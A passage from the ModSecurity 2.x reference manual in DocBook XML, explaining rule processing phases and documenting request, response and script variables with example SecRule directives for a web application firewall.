<para>SecWebAppId is relevant in two cases:</para>
<orderedlist continuation="restarts" inheritnum="ignore">
<listitem>
<para>You are logging transactions/alerts to the ModSecurity Console
and you want to use the web application ID to search only the
transactions belonging to that application.</para>
</listitem>
<listitem>
<para>You are using the data persistence facility (collections
SESSION and USER) and you need to avoid collisions between sessions
and users belonging to different applications.</para>
</listitem>
</orderedlist>
</section>
</section>
<section id="04-processing-phases">
<title>Processing Phases</title>
<para>ModSecurity 2.x allows rules to be placed in one of the following
five phases:</para>
<orderedlist continuation="restarts" inheritnum="ignore">
<listitem>
<para>Request headers (REQUEST_HEADERS)</para>
</listitem>
<listitem>
<para>Request body (REQUEST_BODY)</para>
</listitem>
<listitem>
<para>Response headers (RESPONSE_HEADERS)</para>
</listitem>
<listitem>
<para>Response body (RESPONSE_BODY)</para>
</listitem>
<listitem>
<para>Logging (LOGGING)</para>
</listitem>
</orderedlist>
<para><emphasis> <emphasis>Below is a diagram of the standard Apache
Request Cycle. In the diagram, the 5 ModSecurity processing phases are
shown.</emphasis> </emphasis></para>
<para><graphic fileref="apache_request_cycle-modsecurity.jpg" scale="150"
scalefit="" /></para>
<para>In order to select the phase a rule executes during, use the phase
action either directly in the rule or in using the
<literal>SecDefaultAction</literal> directive:</para>
<programlisting format="linespecific">SecDefaultAction "log,pass,<emphasis>phase:2</emphasis>"
SecRule REQUEST_HEADERS:Host "!^$" "deny,<emphasis>phase:1</emphasis>"</programlisting>
<note>
<para>Keep in mind that rules are executed according to phases, so even
if two rules are adjacent in a configuration file, but are set to
execute in different phases, they would not happen one after the other.
The order of rules in the configuration file is important only within
the rules of each phase. This is especially important when using the
<literal>skip</literal> and <literal>skipAfter</literal> actions.</para>
</note>
<note>
<para>The <literal>LOGGING</literal> phase is special. It is executed at
the end of each transaction no matter what happened in the previous
phases. This means it will be processed even if the request was
intercepted of the <literal>allow</literal> action was used to pass the
transaction through.</para>
</note>
<section>
<title>Phase Request Headers</title>
<para>Rules in this phase are processed immediately after Apache
completes reading the request headers (post-read-request phase). At this
point the request body has not been read yet, meaning not all request
arguments are available. Rules should be placed in this phase if you
need to have them run early (before Apache does something with the
request), to do something before the request body has been read,
determine whether or not the request body should be buffered, or decide
how you want the request body to be processed (e.g. whether to parse it
as XML or not).</para>
<para><emphasis>Note</emphasis></para>
<para>Rules in this phase can not leverage Apache scope directives
(Directory, Location, LocationMatch, etc...) as the post-read-request
hook does not have this information yet. The exception here is the
VirtualHost directive. If you want to use ModSecurity rules inside
Apache locations, then they should run in Phase 2. Refer to the Apache
Request Cycle/ModSecurity Processing Phases diagram.</para>
</section>
<section>
<title>Phase Request Body</title>
<para>This is the general-purpose input analysis phase. Most of the
application-oriented rules should go here. In this phase you are
guaranteed to have received the request argument (provided the request
body has been read). ModSecurity supports three encoding types for the
request body phase:</para>
<itemizedlist>
<listitem>
<para><literal>application/x-www-form-urlencoded</literal> - used to
transfer form data</para>
</listitem>
<listitem>
<para><literal>multipart/form-data</literal> - used for file
transfers</para>
</listitem>
<listitem>
<para><literal>text/xml</literal> - used for passing XML data</para>
</listitem>
</itemizedlist>
<para>Other encodings are not used by most web applications.</para>
</section>
<section>
<title>Phase Response Headers</title>
<para>This phase takes place just before response headers are sent back
to the client. Run here if you want to observe the response before that
happens, and if you want to use the response headers to determine if you
want to buffer the response body. Note that some response status codes
(such as 404) are handled earlier in the request cycle by Apache and my
not be able to be triggered as expected. Additionally, there are some
response headers that are added by Apache at a later hook (such as Date,
Server and Connection) that we would not be able to trigger on or
sanitize. This should work appropriately in a proxy setup or within
phase:5 (logging).</para>
</section>
<section>
<title>Phase Response Body</title>
<para>This is the general-purpose output analysis phase. At this point
you can run rules against the response body (provided it was buffered,
of course). This is the phase where you would want to inspect the
outbound HTML for information disclosure, error messages or failed
authentication text.</para>
</section>
<section>
<title>Phase Logging</title>
<para>This phase is run just before logging takes place. The rules
placed into this phase can only affect how the logging is performed.
This phase can be used to inspect the error messages logged by Apache.
You can not deny/block connections in this phase as it is too late. This
phase also allows for inspection of other response headers that weren't
available during phase:3 or phase:4. Note that you must be careful not
to inherit a disruptive action into a rule in this phase as this is a
configuration error in ModSecurity 2.5.0 and later versions.</para>
</section>
</section>
<section id="05-variables">
<title>Variables</title>
<para>The following variables are supported in ModSecurity 2.x:</para>
<section>
<title><literal moreinfo="none">ARGS</literal></title>
<para><literal>ARGS</literal> is a collection and can be used on its own
(means all arguments including the POST Payload), with a static
parameter (matches arguments with that name), or with a regular
expression (matches all arguments with name that matches the regular
expression). To look at only the query string or body arguments, see the
<literal>ARGS_GET</literal> and <literal>ARGS_POST</literal>
collections.</para>
<para>Some variables are actually collections, which are expanded into
more variables at runtime. The following example will examine all
request arguments:<programlisting format="linespecific">SecRule ARGS dirty</programlisting>
Sometimes, however, you will want to look only at parts of a collection.
This can be achieved with the help of the <emphasis>selection
operator</emphasis>(colon). The following example will only look at the
arguments named<literal moreinfo="none"> p</literal> (do note that, in
general, requests can contain multiple arguments with the same name):
<programlisting format="linespecific">SecRule ARGS:p dirty</programlisting>
It is also possible to specify exclusions. The following will examine
all request arguments for the word<emphasis> dirty</emphasis>, except
the ones named <literal moreinfo="none">z</literal> (again, there can be
zero or more arguments named<literal moreinfo="none"> z</literal>):
<programlisting format="linespecific">SecRule ARGS|!ARGS:z dirty</programlisting>
There is a special operator that allows you to count how many variables
there are in a collection. The following rule will trigger if there is
more than zero arguments in the request (ignore the second parameter for
the time being): <programlisting format="linespecific">SecRule &amp;ARGS !^0$</programlisting>
And sometimes you need to look at an array of parameters, each with a
slightly different name. In this case you can specify a regular
expression in the selection operator itself. The following rule will
look into all arguments whose names begin with <literal
moreinfo="none">id_</literal>: <programlisting format="linespecific">SecRule ARGS:/^id_/ dirty</programlisting></para>
<note>
<para>Using <literal>ARGS:p</literal> will not result in any
invocations against the operator if argument p does not exist.</para>
<para>In ModSecurity 1.X, the <literal>ARGS</literal> variable stood
for <literal>QUERY_STRING</literal> + <literal>POST_PAYLOAD</literal>,
whereas now it expands to individual variables.</para>
</note>
</section>
<section>
<title><literal moreinfo="none">ARGS_COMBINED_SIZE</literal></title>
<para>This variable allows you to set more targeted evaluations on the
total size of the Arguments as compared with normal Apache LimitRequest
directives. For example, you could create a rule to ensure that the
total size of the argument data is below a certain threshold (to help
prevent buffer overflow issues). Example: Block request if the size of
the arguments is above 25 characters.</para>
<programlisting format="linespecific">SecRule REQUEST_FILENAME "^/cgi-bin/login\.php$" "chain,log,deny,phase:2"
SecRule <emphasis>ARGS_COMBINED_SIZE</emphasis> "@gt 25"</programlisting>
</section>
<section>
<title><literal moreinfo="none">ARGS_NAMES</literal></title>
<para>Is a collection of the argument names. You can search for specific
argument names that you want to block. In a positive policy scenario,
you can also whitelist (using an inverted rule with the ! character)
only authorized argument names. Example: This example rule will only
allow 2 argument names - p and a. If any other argument names are
injected, it will be blocked.</para>
<programlisting format="linespecific">SecRule REQUEST_FILENAME "/index.php" "chain,log,deny,status:403,phase:2"
SecRule<emphasis> ARGS_NAMES</emphasis> "!^(p|a)$"</programlisting>
</section>
<section>
<title><literal moreinfo="none">ARGS_GET</literal></title>
<para><literal>ARGS_GET</literal> is similar to <literal>ARGS</literal>,
but only contains arguments from the query string.</para>
</section>
<section>
<title><literal moreinfo="none">ARGS_GET_NAMES</literal></title>
<para><literal>ARGS_GET_NAMES</literal> is similar to
<literal>ARGS_NAMES</literal>, but only contains argument names from the
query string.</para>
</section>
<section>
<title><literal moreinfo="none">ARGS_POST</literal></title>
<para><literal>ARGS_POST</literal> is similar to
<literal>ARGS</literal>, but only contains arguments from the POST
body.</para>
</section>
<section>
<title><literal moreinfo="none">ARGS_POST_NAMES</literal></title>
<para><literal>ARGS_POST_NAMES</literal> is similar to
<literal>ARGS_NAMES</literal>, but only contains argument names from the
POST body.</para>
</section>
<section>
<title><literal moreinfo="none">AUTH_TYPE</literal></title>
<para>This variable holds the authentication method used to validate a
user. Example:</para>
<programlisting format="linespecific">SecRule <emphasis>AUTH_TYPE</emphasis> "basic" log,deny,status:403,phase:1,t:lowercase</programlisting>
<para><emphasis>Note</emphasis></para>
<para>This data will not be available in a proxy-mode deployment as the
authentication is not local. In a proxy-mode deployment, you would need
to inspect the <literal>REQUEST_HEADERS:Authorization</literal>
header.</para>
</section>
<section>
<title><literal moreinfo="none">ENV</literal></title>
<para>Collection, requires a single parameter (after a colon character).
The ENV variable is set with setenv and does not give access to the CGI
environment variables. Example:</para>
<programlisting format="linespecific">SecRule REQUEST_FILENAME "printenv" pass,<emphasis>setenv:tag=suspicious</emphasis>
SecRule <emphasis>ENV:tag</emphasis> "suspicious"</programlisting>
</section>
<section>
<title><literal moreinfo="none">FILES</literal></title>
<para>Collection. Contains a collection of original file names (as they
were called on the remote user's file system). Note: only available if
files were extracted from the request body. Example:</para>
<programlisting format="linespecific">SecRule<emphasis> FILES</emphasis> "\.conf$" log,deny,status:403,phase:2</programlisting>
</section>
<section>
<title><literal moreinfo="none">FILES_COMBINED_SIZE</literal></title>
<para>Single value. Total size of the uploaded files. Note: only
available if files were extracted from the request body. Example:</para>
<programlisting format="linespecific">SecRule <emphasis>FILES_COMBINED_SIZE</emphasis> "@gt 1000" log,deny,status:403,phase:2</programlisting>
</section>
<section>
<title><literal moreinfo="none">FILES_NAMES</literal></title>
<para>Collection w/o parameter. Contains a list of form fields that were
used for file upload. Note: only available if files were extracted from
the request body. Example:</para>
<programlisting format="linespecific">SecRule<emphasis> FILES_NAMES</emphasis> "^upfile$" log,deny,status:403,phase:2</programlisting>
</section>
<section>
<title><literal moreinfo="none">FILES_SIZES</literal></title>
<para>Collection. Contains a list of file sizes. Useful for implementing
a size limitation on individual uploaded files. Note: only available if
files were extracted from the request body. Example:</para>
<programlisting format="linespecific">SecRule <emphasis>FILES_SIZES</emphasis> "@gt 100" log,deny,status:403,phase:2</programlisting>
</section>
<section>
<title><literal moreinfo="none">FILES_TMPNAMES</literal></title>
<para>Collection. Contains a collection of temporary files' names on the
disk. Useful when used together with <literal
moreinfo="none">@inspectFile.</literal> Note: only available if files
were extracted from the request body. Example:</para>
<programlisting format="linespecific">SecRule <emphasis>FILES_TMPNAMES</emphasis> "@inspectFile /path/to/inspect_script.pl"</programlisting>
</section>
<section>
<title><literal moreinfo="none">GEO</literal></title>
<para><literal>GEO</literal> is a collection populated by the <literal
moreinfo="none">@geoLookups</literal> operator. It can be used to match
geographical fields looked up by an IP address or hostname.</para>
<para>Available since 2.2.0.</para>
<para>Fields:</para>
<itemizedlist>
<listitem>
<para><emphasis>COUNTRY_CODE:</emphasis> Two character country code.
EX: US, UK, etc.</para>
</listitem>
<listitem>
<para><emphasis>COUNTRY_CODE3:</emphasis> Up to three character
country code.</para>
</listitem>
<listitem>
<para><emphasis>COUNTRY_NAME:</emphasis> The full country
name.</para>
</listitem>
<listitem>
<para><emphasis>COUNTRY_CONTINENT:</emphasis> The two character
continent that the country is located. EX: EU</para>
</listitem>
<listitem>
<para><emphasis>REGION:</emphasis> The two character region. For US,
this is state. For Canada, providence, etc.</para>
</listitem>
<listitem>
<para><emphasis>CITY:</emphasis> The city name.</para>
</listitem>
<listitem>
<para><emphasis>POSTAL_CODE:</emphasis> The postal code.</para>
</listitem>
<listitem>
<para><emphasis>LATITUDE:</emphasis> The latitude.</para>
</listitem>
<listitem>
<para><emphasis>LONGITUDE:</emphasis> The longitude.</para>
</listitem>
<listitem>
<para><emphasis>DMA_CODE:</emphasis> The metropolitan area code. (US
only)</para>
</listitem>
<listitem>
<para><emphasis>AREA_CODE:</emphasis> The phone system area code.
(US only)</para>
</listitem>
</itemizedlist>
<para>Example:</para>
<programlisting format="linespecific">SecRule REMOTE_ADDR "<emphasis>@geoLookup</emphasis>" "chain,drop,msg:'Non-UK IP address'"
SecRule GEO:COUNTRY_CODE "!@streq UK"</programlisting>
</section>
<section>
<title><literal moreinfo="none">HIGHEST_SEVERITY</literal></title>
<para>This variable holds the highest severity of any rules that have
matched so far. Severities are numeric values and thus can be used with
comparison operators such as <literal moreinfo="none">@lt</literal>,
etc.</para>
<note>
<para>Higher severities have a lower numeric value.</para>
<para>A value of 255 indicates no severity has been set.</para>
</note>
<programlisting format="linespecific">SecRule HIGHEST_SEVERITY "@le 2" "phase:2,deny,status:500,msg:'severity %{HIGHEST_SEVERITY}'"</programlisting>
</section>
<section>
<title><literal moreinfo="none">MATCHED_VAR</literal></title>
<para>This variable holds the value of the variable that was matched
against. It is similar to the TX:0, except it can be used for all
operators and does not require that the <literal
moreinfo="none">capture</literal> action be specified.</para>
<programlisting format="linespecific">SecRule ARGS pattern chain,deny
...
SecRule <emphasis>MATCHED_VAR</emphasis> "further scrutiny"</programlisting>
</section>
<section>
<title><literal moreinfo="none">MATCHED_VAR_NAME</literal></title>
<para>This variable holds the full name of the variable that was matched
against.</para>
<programlisting format="linespecific">SecRule ARGS pattern setvar:tx.mymatch=%{MATCHED_VAR_NAME}
...
SecRule <emphasis>TX:MYMATCH</emphasis> "@eq ARGS:param" deny</programlisting>
</section>
<section>
<title><literal moreinfo="none">MODSEC_BUILD</literal></title>
<para>This variable holds the ModSecurity build number. This variable is
intended to be used to check the build number prior to using a feature
that is available only in a certain build. Example:</para>
<programlisting format="linespecific">SecRule <emphasis>MODSEC_BUILD</emphasis> "!@ge 02050102" skipAfter:12345
SecRule ARGS "@pm some key words" id:12345,deny,status:500</programlisting>
</section>
<section>
<title><literal>MULTIPART_CRLF_LF_LINES</literal></title>
<para>This flag variable will be set to <literal>1</literal> whenever a
multi-part request uses mixed line terminators. The
<literal>multipart/form-data</literal> RFC requires
<literal>CRLF</literal> sequence to be used to terminate lines. Since
some client implementations use only <literal>LF</literal> to terminate
lines you might want to allow them to proceed under certain
circumstances (if you want to do this you will need to stop using
<literal>MULTIPART_STRICT_ERROR</literal> and check each multi-part flag
variable individually, avoiding <literal>MULTIPART_LF_LINE</literal>).
However, mixing <literal>CRLF</literal> and <literal>LF</literal> line
terminators is dangerous as it can allow for evasion. Therefore, in such
cases, you will have to add a check for
<literal>MULTIPART_CRLF_LF_LINES</literal>.</para>
</section>
<section>
<title><literal>MULTIPART_STRICT_ERROR</literal></title>
<para><literal>MULTIPART_STRICT_ERROR</literal> will be set to
<literal>1</literal> when any of the following variables is also set to
<literal>1</literal>: <literal>REQBODY_PROCESSOR_ERROR</literal>,
<literal>MULTIPART_BOUNDARY_QUOTED</literal>,
<literal>MULTIPART_BOUNDARY_WHITESPACE</literal>,
<literal>MULTIPART_DATA_BEFORE</literal>,
<literal>MULTIPART_DATA_AFTER</literal>,
<literal>MULTIPART_HEADER_FOLDING</literal>,
<literal>MULTIPART_LF_LINE</literal>,
<literal>MULTIPART_SEMICOLON_MISSING</literal>. Each of these variables
covers one unusual (although sometimes legal) aspect of the request body
in <literal>multipart/form-data format</literal>. Your policies should
<emphasis>always</emphasis> contain a rule to check either this variable
(easier) or one or more individual variables (if you know exactly what
you want to accomplish). Depending on the rate of false positives and
your default policy you should decide whether to block or just warn when
the rule is triggered.</para>
<para>The best way to use this variable is as in the example
below:</para>
<programlisting>SecRule MULTIPART_STRICT_ERROR "!@eq 0" \
"phase:2,t:none,log,deny,msg:'Multipart request body \
failed strict validation: \
PE %{REQBODY_PROCESSOR_ERROR}, \
BQ %{MULTIPART_BOUNDARY_QUOTED}, \
BW %{MULTIPART_BOUNDARY_WHITESPACE}, \
DB %{MULTIPART_DATA_BEFORE}, \
DA %{MULTIPART_DATA_AFTER}, \
HF %{MULTIPART_HEADER_FOLDING}, \
LF %{MULTIPART_LF_LINE}, \
SM %{MULTIPART_SEMICOLON_MISSING}'"</programlisting>
<para>The <literal>multipart/form-data</literal> parser was upgraded in
ModSecurity v2.1.3 to actively look for signs of evasion. Many variables
(as listed above) were added to expose various facts discovered during
the parsing process. The <literal>MULTIPART_STRICT_ERROR</literal>
variable is handy to check on all abnormalities at once. The individual
variables allow detection to be fine-tuned according to your
circumstances in order to reduce the number of false positives. Detailed
analysis of various evasion techniques covered will be released as a
separated document at a later date.</para>
</section>
<section>
<title><literal>MULTIPART_UNMATCHED_BOUNDARY</literal></title>
<para>Set to <literal>1</literal> when, during the parsing phase of a
<literal>multipart/request-body</literal>, ModSecurity encounters what
feels like a boundary but it is not. Such an event may occur when
evasion of ModSecurity is attempted.</para>
<para>The best way to use this variable is as in the example
below:</para>
<programlisting>SecRule MULTIPART_UNMATCHED_BOUNDARY "!@eq 0" \
"phase:2,t:none,log,deny,msg:'Multipart parser detected a possible unmatched boundary.'"</programlisting>
<para>Change the rule from blocking to logging-only if many false
positives are encountered.</para>
</section>
<section>
<title><literal moreinfo="none">PATH_INFO</literal></title>
<para>Besides passing query information to a script/handler, you can
also pass additional data, known as extra path information, as part of
the URL. Example:</para>
<programlisting format="linespecific">SecRule<emphasis> PATH_INFO</emphasis> "^/(bin|etc|sbin|opt|usr)"</programlisting>
</section>
<section>
<title><literal moreinfo="none">QUERY_STRING</literal></title>
<para>This variable holds form data passed to the script/handler by
appending data after a question mark. Warning: Not URL-decoded.
Example:</para>
<programlisting format="linespecific">SecRule <emphasis>QUERY_STRING</emphasis> "attack"</programlisting>
</section>
<section>
<title><literal moreinfo="none">REMOTE_ADDR</literal></title>
<para>This variable holds the IP address of the remote client.
Example:</para>
<programlisting format="linespecific">SecRule <emphasis>REMOTE_ADDR</emphasis> "^192\.168\.1\.101$"</programlisting>
</section>
<section>
<title><literal moreinfo="none">REMOTE_HOST</literal></title>
<para>If HostnameLookUps are set to On, then this variable will hold the
DNS resolved remote host name. If it is set to Off, then it will hold
the remote IP address. Possible uses for this variable would be to deny
known bad client hosts or network blocks, or conversely, to allow in
authorized hosts. Example:</para>
<programlisting format="linespecific">SecRule <emphasis>REMOTE_HOST</emphasis> "\.evil\.network\org$"</programlisting>
</section>
<section>
<title><literal moreinfo="none">REMOTE_PORT</literal></title>
<para>This variable holds information on the source port that the client
used when initiating the connection to our web server. Example: in this
example, we are evaluating to see if the <literal>REMOTE_PORT</literal>
is less than 1024, which would indicate that the user is a privileged
user (root).</para>
<programlisting format="linespecific">SecRule <emphasis>REMOTE_PORT</emphasis> "@lt 1024" phase:1,log,pass,setenv:remote_port=privileged</programlisting>
</section>
<section>
<title><literal moreinfo="none">REMOTE_USER</literal></title>
<para>This variable holds the username of the authenticated user. If
there are no password (basic|digest) access controls in place, then this
variable will be empty. Example:</para>
<programlisting format="linespecific">SecRule <emphasis>REMOTE_USER</emphasis> "admin"</programlisting>
<para><emphasis>Note</emphasis></para>
<para>This data will not be available in a proxy-mode deployment as the
authentication is not local.</para>
</section>
<section>
<title><literal moreinfo="none">REQBODY_PROCESSOR</literal></title>
<para>Built-in processors are <literal
moreinfo="none">URLENCODED</literal>,<literal moreinfo="none">
MULTIPART</literal>, and <literal moreinfo="none">XML</literal>.
Example:</para>
<programlisting format="linespecific">SecRule<emphasis> REQBODY_PROCESSOR</emphasis> "^XML$ chain
SecRule XML "@validateDTD /opt/apache-frontend/conf/xml.dtd"</programlisting>
</section>
<section>
<title><literal
moreinfo="none">REQBODY_PROCESSOR_ERROR</literal></title>
<para>Possible values are 0 (no error) or 1 (error). This variable will
be set by request body processors (typically the
<classname>multipart/request-data</classname> parser or the XML parser)
when they fail to properly parse a request payload.</para>
<para>Example:</para>
<programlisting format="linespecific">SecRule<emphasis> REQBODY_PROCESSOR_ERROR</emphasis> "@eq 1" deny,phase:2</programlisting>
<note>
<para>Your policies <emphasis>must</emphasis> have a rule to check
REQBODY_PROCESSOR_ERROR at the beginning of phase 2. Failure to do so
will leave the door open for impedance mismatch attacks. It is
possible, for example, that a payload that cannot be parsed by
ModSecurity can be successfully parsed by more tolerant parser
operating in the application. If your policy dictates blocking then
you should reject the request if error is detected. When operating in
detection-only mode your rule should alert with high severity when
request body processing fails.</para>
</note>
</section>
<section>
<title><literal
moreinfo="none">REQBODY_PROCESSOR_ERROR_MSG</literal></title>
<para>Empty, or contains the error message from the processor.
Example:</para>
<programlisting format="linespecific">SecRule<emphasis> REQBODY_PROCESSOR_ERROR_MSG</emphasis> "failed to parse" t:lowercase</programlisting>
</section>
<section>
<title><literal moreinfo="none">REQUEST_BASENAME</literal></title>
<para>This variable holds just the filename part of
<literal>REQUEST_FILENAME</literal> (e.g. index.php). Warning: not URL
decoded. Example:</para>
<programlisting format="linespecific">SecRule <emphasis>REQUEST_BASENAME</emphasis> "^login\.php$"</programlisting>
</section>
<section>
<title><literal moreinfo="none">REQUEST_BODY</literal></title>
<para>This variable holds the data in the request body (including
POST_PAYLOAD data). REQUEST_BODY should be used if the original order of
the arguments is important (ARGS should be used in all other cases).
Example:</para>
<programlisting format="linespecific">SecRule <emphasis>REQUEST_BODY</emphasis> "^username=\w{25,}\&amp;password=\w{25,}\&amp;Submit\=login$"</programlisting>
<para><emphasis>Note</emphasis></para>
<para>This variable is only available if the content type is
application/x-www-form-urlencoded.</para>
</section>
<section>
<title><literal moreinfo="none">REQUEST_COOKIES</literal></title>
<para>This variable is a collection of all of the cookie data. Example:
the following example is using the Ampersand special operator to count
how many variables are in the collection. In this rule, it would trigger
if the request does not include any Cookie headers.</para>
<programlisting format="linespecific">SecRule<emphasis> &amp;REQUEST_COOKIES</emphasis> "@eq 0"</programlisting>
</section>
<section>
<title><literal moreinfo="none">REQUEST_COOKIES_NAMES</literal></title>
<para>This variable is a collection of the cookie names in the request
headers. Example: the following rule will trigger if the JSESSIONID
cookie is not present.</para>
<programlisting format="linespecific">SecRule<emphasis> &amp;REQUEST_COOKIES_NAMES:JSESSIONID</emphasis> "@eq 0"</programlisting>
</section>
<section>
<title><literal moreinfo="none">REQUEST_FILENAME</literal></title>
<para>This variable holds the relative REQUEST_URI minus the
QUERY_STRING part (e.g. /index.php). Example:</para>
<programlisting format="linespecific">SecRule <emphasis>REQUEST_FILENAME</emphasis> "^/cgi-bin/login\.php$"</programlisting>
</section>
<section>
<title><literal moreinfo="none">REQUEST_HEADERS</literal></title>
<para>This variable can be used as either a collection of all of the
Request Headers or can be used to specify individual headers (by using
REQUEST_HEADERS<emphasis>:Header-Name</emphasis>). Example: the first
example uses REQUEST_HEADERS as a collection and is applying the
validateUrlEncoding operator against all headers.</para>
<programlisting format="linespecific">SecRule <emphasis>REQUEST_HEADERS</emphasis> "@validateUrlEncoding"</programlisting>
<para>Example: the second example is targeting only the Host
header.</para>
<programlisting format="linespecific">SecRule <emphasis>REQUEST_HEADERS:Host</emphasis> "^[\d\.]+$" \
"deny,log,status:400,msg:'Host header is a numeric IP address'"</programlisting>
</section>
<section>
<title><literal moreinfo="none">REQUEST_HEADERS_NAMES</literal></title>
<para>This variable is a collection of the names of all of the Request
Headers. Example:</para>
<programlisting format="linespecific">SecRule <emphasis>REQUEST_HEADERS_NAMES</emphasis> "^x-forwarded-for" \
"log,deny,status:403,t:lowercase,msg:'Proxy Server Used'"</programlisting>
</section>
<section>
<title><literal moreinfo="none">REQUEST_LINE</literal></title>
<para>This variable holds the complete request line sent to the server
(including the REQUEST_METHOD and HTTP version data). Example: this
example rule will trigger if the request method is something other than
GET, HEAD, POST or if the HTTP is something other than HTTP/0.9, 1.0 or
1.1.</para>
<programlisting format="linespecific">SecRule <emphasis>REQUEST_LINE</emphasis> "!(^((?:(?:pos|ge)t|head))|http/(0\.9|1\.0|1\.1)$)" t:none,t:lowercase</programlisting>
</section>
<section>
<title><literal moreinfo="none">REQUEST_METHOD</literal></title>
<para>This variable holds the Request Method used by the client.
Example: the following example will trigger if the Request Method is
either CONNECT or TRACE.</para>
<programlisting format="linespecific">SecRule <emphasis>REQUEST_METHOD</emphasis> "^((?:connect|trace))$" t:none,t:lowercase</programlisting>
</section>
<section>
<title><literal moreinfo="none">REQUEST_PROTOCOL</literal></title>
<para>This variable holds the Request Protocol Version information.
Example:</para>
<programlisting format="linespecific">SecRule <emphasis>REQUEST_PROTOCOL</emphasis> "!^http/(0\.9|1\.0|1\.1)$" t:none,t:lowercase</programlisting>
</section>
<section>
<title><literal moreinfo="none">REQUEST_URI</literal></title>
<para>This variable holds the full URL including the QUERY_STRING data
(e.g. /index.php?p=X), however it will never contain a domain name, even
if it was provided on the request line. Warning: not URL decoded. It
also does not include either the REQUEST_METHOD or the HTTP version
info. Example:</para>
<programlisting format="linespecific">SecRule <emphasis>REQUEST_URI</emphasis> "attack"</programlisting>
</section>
<section>
<title><literal moreinfo="none">REQUEST_URI_RAW</literal></title>
<para>Same as REQUEST_URI but will contain the domain name if it was
provided on the request line (e.g.
http://www.example.com/index.php?p=X). Warning: not URL decoded.
Example:</para>
<programlisting format="linespecific">SecRule<emphasis> REQUEST_URI_RAW</emphasis> "http:/"</programlisting>
</section>
<section>
<title><literal moreinfo="none">RESPONSE_BODY</literal></title>
<para>This variable holds the data for the response payload.
Example:</para>
<programlisting format="linespecific">SecRule<emphasis> RESPONSE_BODY</emphasis> "ODBC Error Code"</programlisting>
</section>
<section>
<title><literal>RESPONSE_CONTENT_LENGTH</literal></title>
<para>Response body length in bytes. Can be available starting with
phase 3 but it does not have to be (as the length of response body is
not always known in advance.) If the size is not known this variable
will contain a zero. If <literal>RESPONSE_CONTENT_LENGTH</literal>
contains a zero in phase 5 that means the actual size of the response
body was 0.</para>
<para>The value of this variable can change between phases if the body
is modified. For example, in embedded mode
<literal>mod_deflate</literal> can compress the response body between
phases 4 and 5.</para>
</section>
<section>
<title><literal>RESPONSE_CONTENT_TYPE</literal></title>
<para>Response content type. Only available starting with phase
3.</para>
</section>
<section>
<title><literal moreinfo="none">RESPONSE_HEADERS</literal></title>
<para>This variable is similar to the REQUEST_HEADERS variable and can
be used in the same manner. Example:</para>
<programlisting format="linespecific">SecRule<emphasis> RESPONSE_HEADERS</emphasis><emphasis>:X-Cache</emphasis> "MISS"</programlisting>
<para><emphasis>Note</emphasis></para>
<para>This variable may not have access to some headers when running in
embedded-mode. Headers such as Server, Date, Connection and Content-Type
are added during a later Apache hook just prior to sending the data to
the client. This data should be available, however, either during
ModSecurity phase:5 (logging) or when running in proxy-mode.</para>
</section>
<section>
<title><literal moreinfo="none">RESPONSE_HEADERS_NAMES</literal></title>
<para>This variable is a collection of the response header names.
Example:</para>
<programlisting format="linespecific">SecRule <emphasis>RESPONSE_HEADERS_NAMES</emphasis> "Set-Cookie"</programlisting>
<para><emphasis>Note</emphasis></para>
<para>Same limitations as RESPONSE_HEADERS with regards to access to
some headers in embedded-mode.</para>
</section>
<section>
<title><literal moreinfo="none">RESPONSE_PROTOCOL</literal></title>
<para>This variable holds the HTTP Response Protocol information.
Example:</para>
<programlisting format="linespecific">SecRule <emphasis>RESPONSE_PROTOCOL</emphasis> "^HTTP\/0\.9"</programlisting>
</section>
<section>
<title><literal moreinfo="none">RESPONSE_STATUS</literal></title>
<para>This variable holds the HTTP Response Status Code generated by
Apache. Example:</para>
<programlisting format="linespecific">SecRule <emphasis>RESPONSE_STATUS</emphasis> "^[45]"</programlisting>
<para><emphasis>Note</emphasis></para>
<para>This directive may not work as expected in embedded-mode as Apache
handles many of the stock response codes (404, 401, etc...) earlier in
Phase 2. This variable should work as expected in a proxy-mode
deployment.</para>
</section>
<section>
<title><literal moreinfo="none">RULE</literal></title>
<para>This variable provides access to the <literal
moreinfo="none">id</literal>, <literal moreinfo="none">rev</literal>,
<literal moreinfo="none">severity</literal>, <literal
moreinfo="none">logdata</literal>, and <literal
moreinfo="none">msg</literal> fields of the rule that triggered the
action. Only available for expansion in action strings (e.g.<literal
moreinfo="none">setvar:tx.varname=%{rule.id}</literal>). Example:</para>
<programlisting format="linespecific">SecRule &amp;REQUEST_HEADERS:Host "@eq 0" "log,deny,setvar:tx.varname=<emphasis>%{rule.id}</emphasis>"</programlisting>
</section>
<section>
<title><literal moreinfo="none">SCRIPT_BASENAME</literal></title>
<para>This variable holds just the local filename part of
SCRIPT_FILENAME. Example:</para>
<programlisting format="linespecific">SecRule <emphasis>SCRIPT_BASENAME</emphasis> "^login\.php$"</programlisting>
<para><emphasis>Note</emphasis></para>
<para>This variable is not available in proxy mode.</para>
</section>
<section>
<title><literal moreinfo="none">SCRIPT_FILENAME</literal></title>
<para>This variable holds the full path on the server to the requested
script. (e.g. SCRIPT_NAME plus the server path). Example:</para>
<programlisting format="linespecific">SecRule <emphasis>SCRIPT_FILENAME</emphasis> "^/usr/local/apache/cgi-bin/login\.php$"</programlisting>
<para><emphasis>Note</emphasis></para>
<para>This variable is not available in proxy mode.</para>
</section>
<section>
<title><literal moreinfo="none">SCRIPT_GID</literal></title>
<para>This variable holds the group id (numerical value) of the group
owner of the script. Example:</para>
<programlisting format="linespecific">SecRule <emphasis>SCRIPT_GID</emphasis> "!^46$"</programlisting>
<para><emphasis>Note</emphasis></para>
<para>This variable is not available in proxy mode.</para>
</section>
<section>
<title><literal moreinfo="none">SCRIPT_GROUPNAME</literal></title>
<para>This variable holds the group name of the group owner of the
script. Example:</para>
<programlisting format="linespecific">SecRule<emphasis> SCRIPT_GROUPNAME</emphasis> "!^apache$"</programlisting>
<para><emphasis>Note</emphasis></para>
<para>This variable is not available in proxy mode.</para>
</section>
<section>
<title><literal moreinfo="none">SCRIPT_MODE</literal></title>
<para>This variable holds the script's permissions mode data (numerical
- 1=execute, 2=write, 4=read and 7=read/write/execute). Example: will
trigger if the script has the WRITE permissions set.</para>
<programlisting format="linespecific">SecRule <emphasis>SCRIPT_MODE</emphasis> "^(2|3|6|7)$"</programlisting>
<para><emphasis>Note</emphasis></para>
<para>This variable is not available in proxy mode.</para>
</section>
<section>
<title><literal moreinfo="none">SCRIPT_UID</literal></title>
<para>This variable holds the user id (numerical value) of the owner of
the script. Example: the example rule below will trigger if the UID is
not 46 (the Apache user).</para>
